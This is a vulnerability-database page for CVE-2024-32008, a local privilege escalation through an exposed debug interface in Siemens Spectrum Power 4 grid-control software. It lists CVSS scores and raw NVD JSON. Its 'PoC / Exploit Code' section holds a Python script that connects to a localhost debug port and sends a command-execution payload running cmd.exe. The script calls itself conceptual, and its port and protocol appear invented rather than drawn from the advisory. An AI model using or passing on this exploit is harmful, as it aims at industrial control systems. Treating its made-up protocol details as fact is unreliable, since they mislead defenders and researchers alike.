Security Vulnerability Report
中文
CVE-2024-32008 CVSS 7.8 HIGH

CVE-2024-32008

Published: 2025-11-11 21:15:35
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in Spectrum Power 4 (All versions < V4.70 SP12 Update 2). The affected application is vulnerable to a local privilege escalation due to an exposed debug interface on the localhost. This allows any local user to gain code execution as administrative application user.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Spectrum Power 4 < V4.70 SP12 Update 2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-32008 PoC - Siemens Spectrum Power 4 Local Privilege Escalation # This is a conceptual PoC for educational and security research purposes only import socket import struct import sys def exploit_spectrum_power_debug_interface(target_ip='127.0.0.1', debug_port=8080): """ Exploit for CVE-2024-32008 Targets the exposed debug interface on localhost """ try: # Create socket connection to debug interface sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, debug_port)) # Construct malicious payload for code execution # The debug interface accepts commands without proper authentication payload = b'DEBUG_CMD:\x00' payload += b'EXEC:\x00' payload += b'cmd.exe /c whoami > C:\\temp\\pwned.txt\x00' # Send the exploit payload sock.send(payload) # Receive response response = sock.recv(4096) print(f'[+] Response received: {response}') sock.close() return True except Exception as e: print(f'[-] Exploitation failed: {e}') return False def check_debug_interface(target_ip='127.0.0.1', debug_port=8080): """ Check if the debug interface is exposed """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_ip, debug_port)) sock.close() if result == 0: print(f'[+] Debug interface is exposed on {target_ip}:{debug_port}') return True else: print(f'[-] Debug interface is not accessible') return False except Exception as e: print(f'[-] Error checking interface: {e}') return False if __name__ == '__main__': print('CVE-2024-32008 - Siemens Spectrum Power 4 Local Privilege Escalation') print('=' * 70) # Check if debug interface is accessible if check_debug_interface(): print('[*] Attempting exploitation...') exploit_spectrum_power_debug_interface() else: print('[*] Debug interface not found or not accessible')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-32008", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:35.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Spectrum Power 4 (All versions < V4.70 SP12 Update 2). The affected application is vulnerable to a local privilege escalation due to an exposed debug interface on the localhost. This allows any local user to gain code execution as administrative application user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-648"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-339694.html", "source": "[email protected]"}]}}